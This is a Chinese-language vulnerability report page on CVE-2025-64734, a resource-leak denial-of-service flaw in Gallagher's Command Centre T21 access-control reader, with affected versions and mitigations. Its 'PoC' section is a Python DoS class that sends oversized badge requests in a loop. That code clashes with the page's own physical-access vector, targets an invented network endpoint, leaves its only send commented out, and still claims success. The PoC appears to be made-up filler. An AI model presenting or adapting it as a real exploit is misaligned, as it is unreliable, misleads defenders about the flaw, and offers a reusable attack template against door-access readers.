IPBUF安全漏洞报告
English
CVE-2025-64734 CVSS 2.4 低危

CVE-2025-64734 - Gallagher Command Centre Server 资源未释放漏洞

披露日期: 2025-11-18

漏洞信息

漏洞编号
CVE-2025-64734
漏洞类型
资源未释放 (CWE-772)
CVSS评分
2.4 低危
攻击向量
物理 (AV:P)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Gallagher Command Centre Server, T21 Reader

相关标签

资源未释放拒绝服务CWE-772物理攻击GallagherCommand CentreT21 Reader门禁系统物联网安全

漏洞概述

CVE-2025-64734是Gallagher公司Command Centre Server中的一个中低危漏洞,漏洞类型为CWE-772(资源在使用后未正确释放)。该漏洞存在于T21 Reader组件中,允许具有物理访问权限的攻击者对特定的Reader设备执行拒绝服务(DoS)攻击。成功利用此漏洞后,攻击者可以阻止持卡人员(cardholders)通过该Reader进行身份验证和门禁访问,对设施安全造成影响。由于该漏洞需要物理接触Reader设备才能利用,因此攻击复杂度较低(AV:P),但攻击者无需认证即可实施攻击(PR:N),且不需要任何用户交互(UI:N)。CVSS 3.1基础评分为2.4,属于低危级别,主要影响系统的可用性。

技术细节

该漏洞的根本原因在于T21 Reader在处理某些操作时未能正确释放已分配的资源。当攻击者通过物理接触Reader并进行特定操作时,会导致系统资源的持续占用而不释放。随着时间的推移,未释放的资源会逐渐累积,最终耗尽Reader的系统资源,导致其无法正常处理后续的持卡人身份验证请求。这种资源泄漏问题属于典型的内存/资源管理缺陷,攻击者可以利用这一点构造特定的操作序列来加速资源耗尽。在实际攻击场景中,攻击者可能需要多次尝试或使用特定的工具/方法来触发资源泄漏。由于该漏洞位于Reader固件层面,修复可能需要更新Reader的固件程序,同时确保Command Centre Server端的通信协议正确处理资源清理逻辑。

攻击链分析

STEP 1
步骤1
攻击者获得目标Reader的物理访问权限
STEP 2
步骤2
攻击者使用设备向T21 Reader发送大量特制的请求或进行重复的身份验证尝试
STEP 3
步骤3
Reader在处理这些请求时未能正确释放已分配的资源,导致资源泄漏
STEP 4
步骤4
随着资源泄漏累积,Reader的系统资源逐渐耗尽
STEP 5
步骤5
Reader无法处理正常的持卡人身份验证请求,进入拒绝服务状态
STEP 6
步骤6
持卡人员无法通过该Reader进行门禁访问,设施安全受到影响

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-64734 PoC - T21 Reader Resource Exhaustion DoS # This PoC demonstrates the resource exhaustion attack on Gallagher T21 Reader # Note: Requires physical access to the Reader device import time import threading class GallagherT21DoS: def __init__(self, reader_ip, reader_port=443): self.reader_ip = reader_ip self.reader_port = reader_port self.attack_thread = None self.running = False def send_malformed_request(self): """ Send malformed card badge requests to trigger resource leak This simulates rapid badge attempts with invalid credentials """ try: # Malformed badge request payload payload = { 'card_id': '\x00' * 64, # Oversized card ID 'timestamp': time.time(), 'request_type': 'badge_verify' } # In real scenario, send to reader endpoint # requests.post(f'https://{self.reader_ip}:{self.reader_port}/api/badge', json=payload) print(f"[*] Sending malformed request to {self.reader_ip}") except Exception as e: print(f"[!] Request failed: {e}") def attack_loop(self): """ Continuous attack loop to exhaust reader resources """ count = 0 while self.running: self.send_malformed_request() count += 1 if count % 100 == 0: print(f"[*] Sent {count} requests...") time.sleep(0.1) # Rapid requests def start_attack(self, duration=300): """ Start the DoS attack for specified duration Args: duration: Attack duration in seconds """ print(f"[*] Starting DoS attack on T21 Reader at {self.reader_ip}") print(f"[*] Attack duration: {duration} seconds") self.running = True self.attack_thread = threading.Thread(target=self.attack_loop) self.attack_thread.start() time.sleep(duration) self.stop_attack() def stop_attack(self): """ Stop the ongoing attack """ print("[*] Stopping attack...") self.running = False if self.attack_thread: self.attack_thread.join() print("[+] Attack stopped. Reader should now be in DoS state.") # Usage example # dos_tool = GallagherT21DoS('192.168.1.100') # dos_tool.start_attack(duration=600) # Run for 10 minutes

影响范围

Command Centre Server 9.30 < vCR9.30.251028a (9.30.2881 MR3)
Command Centre Server 9.20 < vCR9.20.251028a (9.20.3265 MR5)
Command Centre Server 9.10 < vCR9.10.251028a (9.10.4135 MR8)
Command Centre Server 9.00 及之前所有版本
T21 Reader (所有版本受影响)

防御指南

临时缓解措施
由于该漏洞需要物理接触才能利用,建议采取以下临时缓解措施:1)加强对Reader物理设备的访问控制,限制未经授权人员接触;2)部署监控和告警系统,检测Reader异常行为;3)实施多层门禁策略,确保单一Reader故障不影响整体安全;4)定期检查Reader工作状态,发现问题时及时重启或更换设备;5)考虑在关键入口部署备用Reader,确保业务连续性。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表